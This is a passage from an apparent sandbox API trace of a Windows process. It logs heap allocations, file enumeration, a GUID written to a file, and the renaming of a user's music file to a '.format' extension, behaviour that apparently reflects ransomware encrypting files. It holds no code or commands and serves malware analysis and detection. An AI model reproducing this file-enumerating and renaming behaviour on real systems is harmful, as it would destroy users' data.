lpMem=0x327d270 | out: hHeap=0x5d0000) returned 1 [0067.305] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0067.306] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0067.306] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.306] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.306] CloseHandle (hObject=0x5c8) returned 1 [0067.306] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31759b8 [0067.306] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x880) returned 0x3178dd8 [0067.306] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31759b8 | out: hHeap=0x5d0000) returned 1 [0067.307] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\miLI HhNB0PH1Dx.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mili hhnb0ph1dx.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\miLI HhNB0PH1Dx.mp3.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mili hhnb0ph1dx.mp3.format")) returned 1 [0067.307] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.307] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.308] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3282148 | out: hHeap=0x5d0000) returned 1 [0067.308] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78f7d4b0, ftCreationTime.dwHighDateTime=0x1d4c717, ftLastAccessTime.dwLowDateTime=0x9c481e60, ftLastAccessTime.dwHighDateTime=0x1d4c8a8, ftLastWriteTime.dwLowDateTime=0x9c481e60, ftLastWriteTime.dwHighDateTime=0x1d4c8a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="okHQRb", cAlternateFileName="")) returned 1 [0067.308] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d270 [0067.308] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.308] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd90 [0067.308] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.308] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d270 | out: hHeap=0x5d0000) returned 1 [0067.308] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78f7d4b0, ftCreationTime.dwHighDateTime=0x1d4c717, ftLastAccessTime.dwLowDateTime=0x9c481e60, ftLastAccessTime.dwHighDateTime=0x1d4c8a8, ftLastWriteTime.dwLowDateTime=0x9c481e60, ftLastWriteTime.dwHighDateTime=0x1d4c8a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="okHQRb", cAlternateFileName="")) returned 0 [0067.308] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0067.308] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0067.308] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325d340 | out: hHeap=0x5d0000) returned 1 [0067.308] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0067.308] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d270 [0067.308] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0067.308] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.308] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.308] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.308] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.308] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.308] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.308] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.308] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.308] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.309] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.309] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.309] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.309] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.309] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.309] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.309] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.309] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.309] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.309] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.309] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.309] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.309] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.309] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.309] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.309] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.309] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.309] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0067.309] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.309] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.309] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.309] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.309] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.309] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.309] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.309] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.309] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.309] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.309] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.309] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.309] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.309] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.309] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.309] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.310] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.310] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.310] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.310] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.310] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.310] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.310] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.310] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.310] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.310] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.310] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.310] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.310] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.310] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.310] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.310] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.310] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.310] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.310] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.310] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.310] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.310] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.310] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.310] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.310] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.310] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.310] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.310] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.310] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.310] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.310] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.310] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.311] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.311] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.311] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.311] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.311] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.311] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.311] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.311] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.311] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.311] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.311] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.311] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.311] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.311] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.311] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.311] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.311] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.311] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.311] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.311] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.311] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.311] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.311] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.311] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.311] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.311] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.311] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.311] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0067.311] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.311] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.311] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.311] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.311] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.311] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.311] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.311] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.312] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.312] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.312] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.312] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.312] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.312] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.312] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.312] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.312] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.312] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.312] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.312] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.312] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.312] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.312] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.312] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.312] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.312] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.312] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.312] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.312] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.312] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.312] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.312] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.312] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.312] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.312] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.312] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.312] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.312] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.312] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.312] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.312] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.312] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.312] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.312] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.313] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.313] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.313] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.313] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.313] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.313] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.313] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.313] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.313] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.313] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.313] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.313] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.313] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.313] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.313] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.313] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.313] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.313] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.313] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.313] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.313] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.313] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.313] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.313] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.313] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.313] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.313] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.313] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.313] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.313] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.313] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.313] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.313] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.313] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.314] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.314] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.314] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.314] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.314] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.314] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.314] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.314] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.314] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.314] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.314] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.314] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.314] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.314] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.314] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.314] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.314] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.314] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.314] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0067.314] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0067.314] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.314] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.314] HeapFree (in: hHeap=0x5d0000, 